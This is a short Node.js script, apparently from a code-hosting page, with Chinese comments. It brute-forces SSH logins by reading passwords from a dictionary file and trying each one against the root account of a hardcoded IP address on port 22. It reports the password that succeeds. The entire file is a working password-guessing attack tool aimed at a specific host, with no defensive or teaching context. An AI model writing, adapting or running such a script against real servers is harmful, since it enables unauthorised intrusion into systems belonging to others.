index.js 1.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445
  1. const { Client } = require('ssh2');
  2. const fs = require("fs");
  3. const fn = (config, pwd) => {
  4. const option = {
  5. ...config,
  6. password: pwd || ''
  7. }
  8. return new Promise((res, rej) => {
  9. const conn = new Client();
  10. conn.connect(option)
  11. conn.on('ready', res)
  12. conn.on('error', rej)
  13. })
  14. }
  15. class test {
  16. constructor() {
  17. // 字典集
  18. const pwds = fs.readFileSync('./pwd.txt',{encoding:'utf-8'}).toString().split('\r\n')
  19. // 基础配置
  20. const config ={
  21. host: '68.183.74.4',
  22. port: 22,
  23. username: 'root',
  24. }
  25. this.init(config,[...new Set(pwds)])
  26. }
  27. async init(config,pwds) {
  28. console.log(pwds);
  29. for (let k = 0; k < pwds.length; k++) {
  30. const el = pwds[k]
  31. try {
  32. await fn(config,el)
  33. console.log('成功', el);
  34. break
  35. } catch (error) {
  36. console.log(k, '失败');
  37. }
  38. }
  39. }
  40. }
  41. new test()